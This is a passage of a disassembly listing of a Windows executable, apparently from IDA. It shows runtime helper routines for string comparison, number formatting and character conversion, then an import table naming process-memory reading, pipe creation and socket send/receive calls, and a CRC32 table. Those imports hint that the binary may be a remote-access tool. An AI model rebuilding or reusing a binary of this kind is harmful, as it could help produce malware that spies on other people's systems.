or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42038C
jmp short loc_420385
; ---------------------------------------------------------------------------
loc_42037D: ; CODE XREF: sub_420330+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_420391
loc_420385: ; CODE XREF: sub_420330+4Bj
inc ecx
jmp short loc_42034E
; ---------------------------------------------------------------------------
loc_420388: ; CODE XREF: sub_420330+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42038C: ; CODE XREF: sub_420330+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420391: ; CODE XREF: sub_420330+25j
; sub_420330+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_420330 endp
; =============== S U B R O U T I N E =======================================
sub_4203A3 proc near ; CODE XREF: sub_40A74C+21p
; sub_4202C9+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4203CA
push esi
call sub_417AF0
inc eax
push eax
call sub_417BEE
pop ecx
test eax, eax
pop ecx
jz short loc_4203CA
push esi
push eax
call sub_417A00
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4203CA: ; CODE XREF: sub_4203A3+7j
; sub_4203A3+1Aj
xor eax, eax
pop esi
retn
sub_4203A3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4203D0 proc near ; CODE XREF: sub_405350+159p
nop
jmp near ptr 71AB4544h
sub_4203D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4203D6 proc near ; CODE XREF: ___:0040C171p
nop
jmp near ptr 77C018BAh
sub_4203D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4203DC proc near ; CODE XREF: ___:0040C15Ap
nop
jmp near ptr 77C01A50h
sub_4203DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4203E2 proc near ; CODE XREF: sub_40C127+Fp
nop
jmp near ptr 77C019FFh
sub_4203E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4203E8 proc near ; CODE XREF: sub_41D20C+13p
nop
jmp near ptr 7C937A40h
sub_4203E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4203F0 proc near ; CODE XREF: sub_404D78+18Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_5158E4
cmp dword ptr [eax+8], 0
jnz short loc_420443
mov al, 0FFh
mov edi, edi
loc_42040C: ; CODE XREF: sub_4203F0+28j
; sub_4203F0+48j
or al, al
jz short loc_42043E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_42040C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_42040C
sbb al, al
sbb al, 0FFh
loc_42043E: ; CODE XREF: sub_4203F0+1Ej
movsx eax, al
jmp short loc_420477
; ---------------------------------------------------------------------------
loc_420443: ; CODE XREF: sub_4203F0+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_42044C: ; CODE XREF: sub_4203F0+68j
; sub_4203F0+80j
or al, al
jz short loc_420477
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_42044C
push eax
push ebx
call sub_4187E1
mov ebx, eax
add esp, 4
call sub_4187E1
add esp, 4
cmp bl, al
jz short loc_42044C
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_420477: ; CODE XREF: sub_4203F0+51j
; sub_4203F0+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_4203F0 endp
; =============== S U B R O U T I N E =======================================
sub_42047C proc near ; CODE XREF: sub_409307+E2p
; sub_409307+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_5158EC, 0
push ebx
jnz short loc_4204C2
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_42048E: ; CODE XREF: sub_42047C+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_4204A0
cmp bx, 41h
jb short loc_4204A0
add ebx, 20h
loc_4204A0: ; CODE XREF: sub_42047C+19j
; sub_42047C+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_4204B2
cmp ax, 41h
jb short loc_4204B2
add eax, 20h
loc_4204B2: ; CODE XREF: sub_42047C+2Bj
; sub_42047C+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4204F2
cmp bx, ax
jz short loc_42048E
jmp short loc_4204F2
; ---------------------------------------------------------------------------
loc_4204C2: ; CODE XREF: sub_42047C+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4204CC: ; CODE XREF: sub_42047C+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_420585
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_420585
pop ecx
test bx, bx
pop ecx
jz short loc_4204F0
cmp bx, ax
jz short loc_4204CC
loc_4204F0: ; CODE XREF: sub_42047C+6Dj
pop edi
pop esi
loc_4204F2: ; CODE XREF: sub_42047C+3Dj
; sub_42047C+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_42047C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4204FC proc near ; CODE XREF: ___:004161A4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_420511
cmp [ebp+arg_0], 0
jge short loc_420511
push 1
push 0Ah
jmp short loc_420516
; ---------------------------------------------------------------------------
loc_420511: ; CODE XREF: sub_4204FC+7j
; sub_4204FC+Dj
push 0
push [ebp+arg_8]
loc_420516: ; CODE XREF: sub_4204FC+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_420529
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_4204FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420529 proc near ; CODE XREF: sub_4204FC+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_420543
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_420546
; ---------------------------------------------------------------------------
loc_420543: ; CODE XREF: sub_420529+Dj
mov esi, [ebp+arg_0]
loc_420546: ; CODE XREF: sub_420529+18j
mov edi, ecx
loc_420548: ; CODE XREF: sub_420529+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_420564
add bl, 57h
jmp short loc_420567
; ---------------------------------------------------------------------------
loc_420564: ; CODE XREF: sub_420529+34j
add bl, 30h
loc_420567: ; CODE XREF: sub_420529+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_420548
and byte ptr [ecx], 0
dec ecx
loc_420572: ; CODE XREF: sub_420529+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_420572
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420529 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420585 proc near ; CODE XREF: sub_42047C+56p
; sub_42047C+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_420597
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_420597: ; CODE XREF: sub_420585+Bj
cmp dword_5158EC, 0
jnz short loc_4205B1
cmp ax, 41h
jb short locret_4205F8
cmp ax, 5Ah
ja short locret_4205F8
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4205B1: ; CODE XREF: sub_420585+19j
cmp ax, 100h
jnb short loc_4205CB
push 1
push eax
call sub_420833
pop ecx
test eax, eax
pop ecx
jnz short loc_4205CB
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_4205CB: ; CODE XREF: sub_420585+30j
; sub_420585+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_5158EC
call sub_4205FA
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_4205F8
mov ax, [ebp+var_2]
locret_4205F8: ; CODE XREF: sub_420585+1Fj
; sub_420585+25j ...
leave
retn
sub_420585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4205FA proc near ; CODE XREF: sub_420585+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421AB8
push offset sub_41D304
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_515B44, esi
jnz short loc_420670
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_4216A0
mov edi, 100h
push edi
push esi
nop
call near ptr 7C80CCA8h
test eax, eax
jz short loc_42064E
mov dword_515B44, ebx
jmp short loc_420670
; ---------------------------------------------------------------------------
loc_42064E: ; CODE XREF: sub_4205FA+4Aj
push esi
push esi
push ebx
push offset dword_441700
push edi
push esi
nop
call near ptr 7C838DE8h
test eax, eax
jz loc_4207EF
mov dword_515B44, 2
loc_420670: ; CODE XREF: sub_4205FA+2Ej
; sub_4205FA+52j
cmp [ebp+arg_C], esi
jle short loc_420685
push [ebp+arg_C]
push [ebp+arg_8]
call sub_420803
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_420685: ; CODE XREF: sub_4205FA+79j
mov eax, dword_515B44
cmp eax, 1
jnz short loc_4206AC
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80CCA8h
jmp loc_4207F1
; ---------------------------------------------------------------------------
loc_4206AC: ; CODE XREF: sub_4205FA+93j
cmp eax, 2
jnz loc_4207EF
cmp [ebp+arg_18], esi
jnz short loc_4206C2
mov eax, dword_5158FC
mov [ebp+arg_18], eax
loc_4206C2: ; CODE XREF: sub_4205FA+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 7C80A0D4h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_4207EF
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_420708
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_420708: ; CODE XREF: sub_4205FA+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_4207EF
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 7C80A0D4h
test eax, eax
jz loc_4207EF
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C838DE8h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_4207EF
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42078B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_42078B: ; CODE XREF: sub_4205FA+17Dj
cmp ebx, esi
jz short loc_4207EF
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C838DE8h
test eax, eax
jz short loc_4207EF
test byte ptr [ebp+arg_4+1], 4
jz short loc_4207C9
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_4207EB
cmp eax, edi
jl short loc_4207BA
mov eax, edi
loc_4207BA: ; CODE XREF: sub_4205FA+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_4182F0
add esp, 0Ch
jmp short loc_4207EB
; ---------------------------------------------------------------------------
loc_4207C9: ; CODE XREF: sub_4205FA+1B1j
cmp [ebp+arg_14], esi
jnz short loc_4207D2
push esi
push esi
jmp short loc_4207D8
; ---------------------------------------------------------------------------
loc_4207D2: ; CODE XREF: sub_4205FA+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4207D8: ; CODE XREF: sub_4205FA+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 7C809BF8h
mov edi, eax
cmp edi, esi
jz short loc_4207EF
loc_4207EB: ; CODE XREF: sub_4205FA+1B8j
; sub_4205FA+1CDj
mov eax, edi
jmp short loc_4207F1
; ---------------------------------------------------------------------------
loc_4207EF: ; CODE XREF: sub_4205FA+66j
; sub_4205FA+B5j ...
xor eax, eax
loc_4207F1: ; CODE XREF: sub_4205FA+ADj
; sub_4205FA+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4205FA endp
; =============== S U B R O U T I N E =======================================
sub_420803 proc near ; CODE XREF: sub_4205FA+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_420822
loc_420813: ; CODE XREF: sub_420803+1Dj
cmp word ptr [eax], 0
jz short loc_420822
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_420813
loc_420822: ; CODE XREF: sub_420803+Ej
; sub_420803+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_420830
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_420830: ; CODE XREF: sub_420803+24j
mov eax, edx
retn
sub_420803 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420833 proc near ; CODE XREF: sub_420585+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_420873
cmp [ebp+arg_0], 100h
jnb short loc_420857
movzx eax, [ebp+arg_0]
mov ecx, off_43B5A4
mov ax, [ecx+eax*2]
jmp short loc_42087A
; ---------------------------------------------------------------------------
loc_420857: ; CODE XREF: sub_420833+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_420885
add esp, 18h
test eax, eax
jnz short loc_420877
loc_420873: ; CODE XREF: sub_420833+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_420877: ; CODE XREF: sub_420833+3Ej
mov eax, [ebp+var_4]
loc_42087A: ; CODE XREF: sub_420833+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_420833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420885 proc near ; CODE XREF: sub_420833+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421AD0
push offset sub_41D304
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_515B48
xor edi, edi
cmp eax, edi
jnz short loc_4208F4
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4216A0
push esi
nop
call near ptr 7C80A490h
test eax, eax
jz short loc_4208D2
mov eax, esi
jmp short loc_4208EF
; ---------------------------------------------------------------------------
loc_4208D2: ; CODE XREF: sub_420885+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_441700
push esi
push edi
nop
call near ptr 7C838A0Ch
test eax, eax
jz loc_420A36
push 2
pop eax
loc_4208EF: ; CODE XREF: sub_420885+4Bj
mov dword_515B48, eax
loc_4208F4: ; CODE XREF: sub_420885+2Fj
cmp eax, 1
jnz short loc_420910
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80A490h
jmp loc_420A38
; ---------------------------------------------------------------------------
loc_420910: ; CODE XREF: sub_420885+72j
cmp eax, 2
jnz loc_420A36
cmp [ebp+arg_10], edi
jnz short loc_420926
mov eax, dword_5158FC
mov [ebp+arg_10], eax
loc_420926: ; CODE XREF: sub_420885+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 7C80A0D4h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_420A36
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_417430
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_420984
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_420984: ; CODE XREF: sub_420885+EAj
cmp [ebp+var_2C], edi
jz loc_420A36
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 7C80A0D4h
test eax, eax
jz loc_420A36
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_4209D9
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_4209D9: ; CODE XREF: sub_420885+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_420A36
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_4209ED
mov eax, dword_5158EC
loc_4209ED: ; CODE XREF: sub_420885+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
nop
call near ptr 7C838A0Ch
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_420A36
cmp word ptr [esi], 0FFFFh
jnz short loc_420A36
push edi
push ebx
push [ebp+arg_C]
call sub_41D840
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_420A38
; ---------------------------------------------------------------------------
loc_420A36: ; CODE XREF: sub_420885+61j
; sub_420885+8Ej ...
xor eax, eax
loc_420A38: ; CODE XREF: sub_420885+86j
; sub_420885+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_420885 endp
; ---------------------------------------------------------------------------
align 4
dd 16Dh dup(0)
dd 7C80B974h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
dd 7C812641h, 7C81DC03h, 7C80A490h, 7C838A0Ch, 7C937A40h
dd 7C810E51h, 7C812F39h, 7C80CC97h
dword_421034 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW dd 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah, 7C8127A7h
dd 7C809915h, 7C812E76h, 7C80CCA8h, 7C838DE8h, 7C809A51h
dd 7C80C058h
dword_421064 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401D79+3Dr ...
dd 7C80A427h, 7C82FA46h
dword_421070 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_4078E6+D1r ...
dword_421074 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_417CAE+54r ...
dd 7C80180Eh
dword_42107C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40B7FD+6r ...
dd 7C810D87h, 7C8312E5h
dword_421088 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA dd 7C80B4CFh, 7C83632Dh, 7C8361EEh, 7C910331h
dword_42109C dd 7C810637h ; resolved to->KERNEL32.CreateThread dd 7C810A77h, 7C81153Ch, 7C80EDD7h, 7C80E7ECh, 7C80E866h
dd 7C834EB1h
dword_4210B8 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA dd 7C810B8Eh, 7C9010EDh, 7C901005h, 7C80B829h, 7C91188Ah
dd 7C80ABDEh
dword_4210D4 dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_4210D8 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_409794+11r ...
dword_4210DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA dd 7C91043Dh
dword_4210E4 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_409307+4Ar
dword_4210E8 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_409307+40r ...
dd 7C80B9A0h
dword_4210F0 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory dd 7C812D56h
dword_4210F8 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_4210FC dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h, 7C80FE82h, 7C80FF19h, 7C80B905h, 7C80945Ch
dd 7C831CB8h, 7C831C45h, 7C802367h, 7C8329D9h, 7C812782h
dd 7C835DCAh, 7C812ADEh
dword_421130 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_421140 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_421144 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe dd 7C8310F2h, 7C814EEAh, 7C80A7D4h, 7C81CDDAh
dword_421158 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; ___:0041CFABr ...
dd 7C8216A4h, 7C831EABh, 7C809920h, 7C802520h, 7C80E93Fh
dd 7C81CE03h, 7C835E8Fh, 7C801E16h, 7C80BAA1h, 7C80D262h
dd 7C830B14h, 7C8350BFh, 7C80176Bh, 7C9179FDh, 7C801EEEh
dd 7C812F1Dh, 7C8111DAh, 7C810EF8h, 7C812BB6h
dword_4211A8 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree align 10h
dd 77C019FFh, 77C01A50h, 77C018BAh, 0
dd 71AB4428h, 71AB664Dh, 71AB3EA1h, 71AB3E00h, 71AB88D3h
dd 71AB2DC0h, 71AB4544h, 71AC1028h, 71AB2BF4h, 71AB2B66h
dword_4211E8 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40381E+9Br
dword_4211EC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4033C9+26Br ...
dword_4211F0 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB3F41h, 71AB3B91h, 71AB4519h, 71AB406Ah, 71AB9639h
dd 2 dup(0)
dword_421210 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
